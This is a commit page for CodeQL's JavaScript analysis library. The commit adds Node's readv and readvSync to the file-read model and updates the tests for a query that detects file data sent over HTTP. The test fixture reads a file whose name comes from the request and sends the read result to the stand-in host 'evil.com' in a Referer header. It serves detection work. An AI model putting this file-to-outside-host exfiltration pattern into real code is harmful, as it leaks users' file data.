Skip to content

Commit 5c13997

Browse files
NapalysNapalys
committed
Added support for readv and readvSync functions in NodeJSFileSystemAccessRead class .
1 parent 316a54f commit 5c13997

File tree

3 files changed

+31
-6
lines changed

3 files changed

+31
-6
lines changed

‎javascript/ql/lib/semmle/javascript/frameworks/NodeJSLib.qll‎

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -603,7 +603,9 @@ module NodeJSLib {
603603

604604
/** A file system read. */
605605
private class NodeJSFileSystemAccessRead extends FileSystemReadAccess, NodeJSFileSystemAccess {
606-
NodeJSFileSystemAccessRead() { methodName = ["read", "readSync", "readFile", "readFileSync"] }
606+
NodeJSFileSystemAccessRead() {
607+
methodName = ["read", "readSync", "readFile", "readFileSync", "readv", "readvSync"]
608+
}
607609

608610
override DataFlow::Node getADataNode() {
609611
if methodName.matches("%Sync")

‎javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.expected‎

Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,8 @@
11
#select
22
| FileAccessToHttp.js:5:11:10:1 | {\\n hos ... ent }\\n} | FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") | FileAccessToHttp.js:5:11:10:1 | {\\n hos ... ent }\\n} | Outbound network request depends on $@. | FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") | file data |
33
| FileAccessToHttp.js:18:15:23:5 | {\\n ... }\\n } | FileAccessToHttp.js:16:21:16:56 | await f ... "utf8") | FileAccessToHttp.js:18:15:23:5 | {\\n ... }\\n } | Outbound network request depends on $@. | FileAccessToHttp.js:16:21:16:56 | await f ... "utf8") | file data |
4+
| FileAccessToHttp.js:35:13:40:3 | {\\n h ... d }\\n } | FileAccessToHttp.js:34:25:34:52 | await f ... uffer]) | FileAccessToHttp.js:35:13:40:3 | {\\n h ... d }\\n } | Outbound network request depends on $@. | FileAccessToHttp.js:34:25:34:52 | await f ... uffer]) | file data |
5+
| FileAccessToHttp.js:44:13:49:3 | {\\n h ... 2 }\\n } | FileAccessToHttp.js:43:26:43:52 | fs.read ... ffer2]) | FileAccessToHttp.js:44:13:49:3 | {\\n h ... 2 }\\n } | Outbound network request depends on $@. | FileAccessToHttp.js:43:26:43:52 | fs.read ... ffer2]) | file data |
46
| bufferRead.js:32:21:32:28 | postData | bufferRead.js:12:22:12:43 | new Buf ... s.size) | bufferRead.js:32:21:32:28 | postData | Outbound network request depends on $@. | bufferRead.js:12:22:12:43 | new Buf ... s.size) | file data |
57
| googlecompiler.js:37:18:37:26 | post_data | googlecompiler.js:43:54:43:57 | data | googlecompiler.js:37:18:37:26 | post_data | Outbound network request depends on $@. | googlecompiler.js:43:54:43:57 | data | file data |
68
| readFileSync.js:25:18:25:18 | s | readFileSync.js:5:12:5:39 | fs.read ... t.txt") | readFileSync.js:25:18:25:18 | s | Outbound network request depends on $@. | readFileSync.js:5:12:5:39 | fs.read ... t.txt") | file data |
@@ -18,6 +20,16 @@ edges
1820
| FileAccessToHttp.js:16:21:16:56 | await f ... "utf8") | FileAccessToHttp.js:16:11:16:56 | content | provenance | |
1921
| FileAccessToHttp.js:22:16:22:35 | { Referer: content } [Referer] | FileAccessToHttp.js:18:15:23:5 | {\\n ... }\\n } | provenance | |
2022
| FileAccessToHttp.js:22:27:22:33 | content | FileAccessToHttp.js:22:16:22:35 | { Referer: content } [Referer] | provenance | |
23+
| FileAccessToHttp.js:34:9:34:21 | { bytesRead } | FileAccessToHttp.js:34:9:34:52 | bytesRead | provenance | |
24+
| FileAccessToHttp.js:34:9:34:52 | bytesRead | FileAccessToHttp.js:39:25:39:33 | bytesRead | provenance | |
25+
| FileAccessToHttp.js:34:25:34:52 | await f ... uffer]) | FileAccessToHttp.js:34:9:34:21 | { bytesRead } | provenance | |
26+
| FileAccessToHttp.js:39:14:39:35 | { Refer ... sRead } [Referer] | FileAccessToHttp.js:35:13:40:3 | {\\n h ... d }\\n } | provenance | |
27+
| FileAccessToHttp.js:39:25:39:33 | bytesRead | FileAccessToHttp.js:39:14:39:35 | { Refer ... sRead } [Referer] | provenance | |
28+
| FileAccessToHttp.js:43:9:43:22 | { bytesRead2 } | FileAccessToHttp.js:43:9:43:52 | bytesRead2 | provenance | |
29+
| FileAccessToHttp.js:43:9:43:52 | bytesRead2 | FileAccessToHttp.js:48:25:48:34 | bytesRead2 | provenance | |
30+
| FileAccessToHttp.js:43:26:43:52 | fs.read ... ffer2]) | FileAccessToHttp.js:43:9:43:22 | { bytesRead2 } | provenance | |
31+
| FileAccessToHttp.js:48:14:48:36 | { Refer ... Read2 } [Referer] | FileAccessToHttp.js:44:13:49:3 | {\\n h ... 2 }\\n } | provenance | |
32+
| FileAccessToHttp.js:48:25:48:34 | bytesRead2 | FileAccessToHttp.js:48:14:48:36 | { Refer ... Read2 } [Referer] | provenance | |
2133
| bufferRead.js:12:13:12:43 | buffer | bufferRead.js:13:21:13:26 | buffer | provenance | |
2234
| bufferRead.js:12:13:12:43 | buffer | bufferRead.js:13:32:13:37 | buffer | provenance | |
2335
| bufferRead.js:12:22:12:43 | new Buf ... s.size) | bufferRead.js:12:13:12:43 | buffer | provenance | |
@@ -74,6 +86,18 @@ nodes
7486
| FileAccessToHttp.js:18:15:23:5 | {\\n ... }\\n } | semmle.label | {\\n ... }\\n } |
7587
| FileAccessToHttp.js:22:16:22:35 | { Referer: content } [Referer] | semmle.label | { Referer: content } [Referer] |
7688
| FileAccessToHttp.js:22:27:22:33 | content | semmle.label | content |
89+
| FileAccessToHttp.js:34:9:34:21 | { bytesRead } | semmle.label | { bytesRead } |
90+
| FileAccessToHttp.js:34:9:34:52 | bytesRead | semmle.label | bytesRead |
91+
| FileAccessToHttp.js:34:25:34:52 | await f ... uffer]) | semmle.label | await f ... uffer]) |
92+
| FileAccessToHttp.js:35:13:40:3 | {\\n h ... d }\\n } | semmle.label | {\\n h ... d }\\n } |
93+
| FileAccessToHttp.js:39:14:39:35 | { Refer ... sRead } [Referer] | semmle.label | { Refer ... sRead } [Referer] |
94+
| FileAccessToHttp.js:39:25:39:33 | bytesRead | semmle.label | bytesRead |
95+
| FileAccessToHttp.js:43:9:43:22 | { bytesRead2 } | semmle.label | { bytesRead2 } |
96+
| FileAccessToHttp.js:43:9:43:52 | bytesRead2 | semmle.label | bytesRead2 |
97+
| FileAccessToHttp.js:43:26:43:52 | fs.read ... ffer2]) | semmle.label | fs.read ... ffer2]) |
98+
| FileAccessToHttp.js:44:13:49:3 | {\\n h ... 2 }\\n } | semmle.label | {\\n h ... 2 }\\n } |
99+
| FileAccessToHttp.js:48:14:48:36 | { Refer ... Read2 } [Referer] | semmle.label | { Refer ... Read2 } [Referer] |
100+
| FileAccessToHttp.js:48:25:48:34 | bytesRead2 | semmle.label | bytesRead2 |
77101
| bufferRead.js:12:13:12:43 | buffer | semmle.label | buffer |
78102
| bufferRead.js:12:22:12:43 | new Buf ... s.size) | semmle.label | new Buf ... s.size) |
79103
| bufferRead.js:13:21:13:26 | buffer | semmle.label | buffer |

‎javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js‎

Lines changed: 4 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -31,21 +31,20 @@ app.post('/readv', async (req, res) => {
3131
const { filename } = req.body;
3232
const fd = await fs.open(filename, 'r');
3333
const buffer = Buffer.alloc(1024);
34-
const { bytesRead } = await fs.readv(fd, [buffer]); // $ MISSING: Source[js/file-access-to-http]
34+
const { bytesRead } = await fs.readv(fd, [buffer]); // $ Source[js/file-access-to-http]
3535
https.get({
3636
hostname: "evil.com",
3737
path: "/upload",
3838
method: "GET",
3939
headers: { Referer: bytesRead }
40-
}, () => { }); // $ MISSING: Alert[js/file-access-to-http]
40+
}, () => { }); // $ Alert[js/file-access-to-http]
4141

4242
const buffer2 = Buffer.alloc(1024);
43-
const { bytesRead2 } = fs.readvSync(fd, [buffer2]); // $ MISSING: Source[js/file-access-to-http]
43+
const { bytesRead2 } = fs.readvSync(fd, [buffer2]); // $ Source[js/file-access-to-http]
4444
https.get({
4545
hostname: "evil.com",
4646
path: "/upload",
4747
method: "GET",
4848
headers: { Referer: bytesRead2 }
49-
}, () => { }); // $ MISSING: Alert[js/file-access-to-http]
50-
49+
}, () => { }); // $ Alert[js/file-access-to-http]
5150
});

0 commit comments

Comments
 (0)